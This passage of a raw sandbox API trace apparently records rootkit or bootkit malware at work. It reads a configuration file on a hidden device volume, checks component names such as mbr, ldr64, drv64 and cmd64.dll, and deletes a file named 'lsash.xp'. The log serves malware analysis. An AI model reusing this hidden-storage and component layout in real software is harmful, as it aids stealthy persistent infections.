_Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.342] KeEnterCriticalRegion () [0130.342] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.342] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.342] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8002845b10, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.342] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.343] KeLeaveCriticalRegion () [0130.343] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.343] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.343] KeEnterCriticalRegion () [0130.343] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.343] ExFreePoolWithTag (P=0xfffffa800294c660, Tag=0x0) [0130.343] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.343] KeLeaveCriticalRegion () [0130.343] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.343] ReleaseMutex (hMutex=0xf0) returned 1 [0130.343] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.343] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0130.343] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.343] KeEnterCriticalRegion () [0130.343] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.343] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.343] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.343] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.343] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.343] IdePortDispatch () returned 0x103 [0130.343] KeWaitForMutexObject () returned 0x0 [0130.343] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.343] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.343] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.343] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.343] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.343] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800294c910 [0130.343] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.343] KeLeaveCriticalRegion () [0130.343] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.343] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.343] KeEnterCriticalRegion () [0130.343] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.343] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.343] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.343] KeLeaveCriticalRegion () [0130.343] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.344] KeEnterCriticalRegion () [0130.344] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.344] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.344] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.344] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.344] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0130.344] IdePortDispatch () returned 0x103 [0130.344] KeWaitForMutexObject () returned 0x0 [0130.344] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.344] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.344] KeLeaveCriticalRegion () [0130.344] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.344] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.344] KeEnterCriticalRegion () [0130.344] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.344] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d62000 [0130.344] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.344] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.344] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.344] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.344] IdePortDispatch () returned 0x103 [0130.344] KeWaitForMutexObject () returned 0x0 [0130.344] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.344] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.344] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.344] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.344] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.344] IdePortDispatch () returned 0x103 [0130.345] KeWaitForMutexObject () returned 0x0 [0130.345] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.345] KeLeaveCriticalRegion () [0130.345] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.345] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.345] KeEnterCriticalRegion () [0130.345] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.345] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.345] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.345] KeLeaveCriticalRegion () [0130.345] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.345] KeEnterCriticalRegion () [0130.345] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.345] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.345] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800294c9d0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.345] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.345] KeLeaveCriticalRegion () [0130.345] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.345] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.345] KeEnterCriticalRegion () [0130.345] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.345] ExFreePoolWithTag (P=0xfffffa800294c910, Tag=0x0) [0130.345] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.345] KeLeaveCriticalRegion () [0130.345] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.346] ReleaseMutex (hMutex=0xf0) returned 1 [0130.346] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0130.346] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0130.346] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0130.346] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0130.346] KeEnterCriticalRegion () [0130.346] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.346] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.346] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.346] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.346] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.346] IdePortDispatch () returned 0x103 [0130.494] KeWaitForMutexObject () returned 0x0 [0130.494] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.494] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0130.494] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.494] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.494] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.494] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.494] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.494] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.494] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.494] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0130.494] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.494] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.494] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.494] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.495] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.495] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.501] KeLeaveCriticalRegion () [0130.501] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.501] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0130.501] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0130.501] KeEnterCriticalRegion () [0130.501] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.501] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.501] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.501] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.501] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.501] IdePortDispatch () returned 0x103 [0130.501] KeWaitForMutexObject () returned 0x0 [0130.502] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.502] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0130.502] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.502] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.502] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.502] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.502] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.502] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.502] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.502] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0130.502] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.502] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.502] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.502] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.502] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.502] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.502] KeLeaveCriticalRegion () [0130.502] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.502] ReleaseMutex (hMutex=0x100) returned 1 [0130.502] Sleep (dwMilliseconds=0x2bf20) [0130.508] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x70e6dab0, dwHighDateTime=0x1d24fa4)) [0130.508] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0130.508] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.508] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0130.508] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.508] KeEnterCriticalRegion () [0130.508] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.508] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.508] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.508] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.508] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.508] IdePortDispatch () returned 0x103 [0130.508] KeWaitForMutexObject () returned 0x0 [0130.509] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.509] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.509] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.509] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.509] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.509] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800294cc70 [0130.509] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.509] KeLeaveCriticalRegion () [0130.509] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.509] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.509] KeEnterCriticalRegion () [0130.509] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.509] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.509] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.509] KeLeaveCriticalRegion () [0130.509] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.509] KeEnterCriticalRegion () [0130.509] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.509] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.509] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.509] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.509] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0130.509] IdePortDispatch () returned 0x103 [0130.509] KeWaitForMutexObject () returned 0x0 [0130.509] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.509] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.509] KeLeaveCriticalRegion () [0130.509] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.509] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.509] KeEnterCriticalRegion () [0130.509] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.509] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d67000 [0130.509] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.509] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.509] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.510] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.510] IdePortDispatch () returned 0x103 [0130.510] KeWaitForMutexObject () returned 0x0 [0130.510] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.510] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.510] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.510] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.510] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.510] IdePortDispatch () returned 0x103 [0130.510] KeWaitForMutexObject () returned 0x0 [0130.510] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.510] KeLeaveCriticalRegion () [0130.510] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.510] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.511] KeEnterCriticalRegion () [0130.511] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.511] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.511] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.511] KeLeaveCriticalRegion () [0130.511] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.511] KeEnterCriticalRegion () [0130.511] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.511] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.511] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c07c80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.511] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.511] KeLeaveCriticalRegion () [0130.511] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.511] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.511] KeEnterCriticalRegion () [0130.511] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.511] ExFreePoolWithTag (P=0xfffffa800294cc70, Tag=0x0) [0130.511] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.511] KeLeaveCriticalRegion () [0130.511] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.511] ReleaseMutex (hMutex=0xf0) returned 1 [0130.511] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.511] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0130.511] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.511] KeEnterCriticalRegion () [0130.511] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.511] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.511] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.511] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.511] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.511] IdePortDispatch () returned 0x103 [0130.511] KeWaitForMutexObject () returned 0x0 [0130.511] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.511] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.511] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.511] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.511] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.511] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800294c450 [0130.511] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.511] KeLeaveCriticalRegion () [0130.511] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.512] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.512] KeEnterCriticalRegion () [0130.512] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.512] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.512] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.512] KeLeaveCriticalRegion () [0130.512] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.512] KeEnterCriticalRegion () [0130.512] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.512] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.512] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.512] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.512] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0130.512] 